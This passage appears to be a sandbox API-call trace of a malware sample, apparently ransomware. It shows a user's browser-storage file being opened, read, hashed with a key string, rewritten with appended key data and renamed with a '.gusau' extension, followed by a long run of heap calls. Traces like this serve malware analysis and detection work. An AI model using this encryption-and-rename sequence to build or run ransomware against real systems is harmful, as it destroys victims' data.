(pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml") returned=".xml" [0119.816] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\vgmtoi09\\www.msn[1].xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0119.821] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=836) returned 1 [0119.822] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0119.824] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x31e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.824] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0119.825] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0119.825] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0119.825] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.825] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x344, lpOverlapped=0x0) returned 1 [0119.825] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.825] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0119.825] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.825] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.825] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0828) returned 1 [0119.826] CryptCreateHash (in: hProv=0xdf0828, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0119.826] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0119.826] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0119.826] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0119.826] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0119.826] GetLastError () returned 0x0 [0119.826] CryptDestroyHash (hHash=0x3983720) returned 1 [0119.826] CryptReleaseContext (hProv=0xdf0828, dwFlags=0x0) returned 1 [0119.826] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0119.827] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x340) returned 0x39f4ef8 [0119.827] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0119.827] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0119.827] WriteFile (in: hFile=0x610, lpBuffer=0x39f4ef8*, nNumberOfBytesToWrite=0x33f, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f4ef8*, lpNumberOfBytesWritten=0x405fb24*=0x33f, lpOverlapped=0x0) returned 1 [0119.827] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0119.827] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x344, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.827] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0119.827] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f4ef8 [0119.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f4ef8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0119.827] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5328 [0119.827] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0119.827] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0119.827] WriteFile (in: hFile=0x610, lpBuffer=0x39f5328*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5328*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0119.827] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5328 | out: hHeap=0xd10000) returned 1 [0119.827] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.827] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0119.827] CloseHandle (hObject=0x610) returned 1 [0119.828] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xe0) returned 0x39f5f38 [0119.828] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8f0) returned 0x39f4ef8 [0119.828] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5f38 | out: hHeap=0xd10000) returned 1 [0119.828] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\vgmtoi09\\www.msn[1].xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\vgmtoi09\\www.msn[1].xml.gusau")) returned 1 [0119.829] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0119.829] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.830] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38e0b90 | out: hHeap=0xd10000) returned 1 [0119.830] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52878dd0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x344, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="www.msn[1].xml", cAlternateFileName="WWWMSN~1.XML")) returned 0 [0119.830] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0119.830] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ebf8 | out: hHeap=0xd10000) returned 1 [0119.830] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x392e298 | out: hHeap=0xd10000) returned 1 [0119.830] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0119.830] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0119.830] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0119.830] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.830] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.830] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.830] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.830] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.830] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.830] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.830] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.830] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.830] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.830] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.830] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.830] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.830] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.830] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.830] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.830] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.830] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.830] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.830] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.831] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.831] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.831] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.831] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.831] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.831] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.831] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0119.831] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.831] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.831] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.831] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.831] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.831] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.831] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.831] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.831] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.831] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.831] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.831] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.831] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.831] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.831] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.831] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.831] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.831] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.831] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.831] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.831] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.831] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.831] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.831] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.832] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.832] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.832] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.832] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.832] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.832] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.832] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.832] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.832] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.832] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.832] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.832] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.832] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.832] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.832] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.832] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.832] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.832] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.832] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.832] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.832] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.832] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.832] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.832] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.832] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.832] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.832] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.832] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.832] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.832] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.832] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.833] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.833] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.833] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.833] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.833] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.833] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.833] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.833] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.833] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.833] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.833] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0119.833] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.833] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.833] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.833] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.833] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.833] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.833] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.833] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.833] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.833] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0119.833] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.833] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.833] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.833] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.833] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.833] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.833] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.833] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.833] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.834] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.834] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.834] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.834] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.834] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.834] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.834] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.834] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.834] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.834] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.834] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.834] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.834] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0119.834] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.834] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.834] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.834] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.834] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.834] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.834] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.834] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.834] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.834] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.834] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.834] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.834] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.834] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.834] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.834] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.835] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.835] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.835] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.835] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.835] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.835] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.835] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.835] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.835] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.835] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.835] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.835] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.835] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.835] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.835] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.835] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.835] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.835] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.835] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.835] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.835] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.835] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 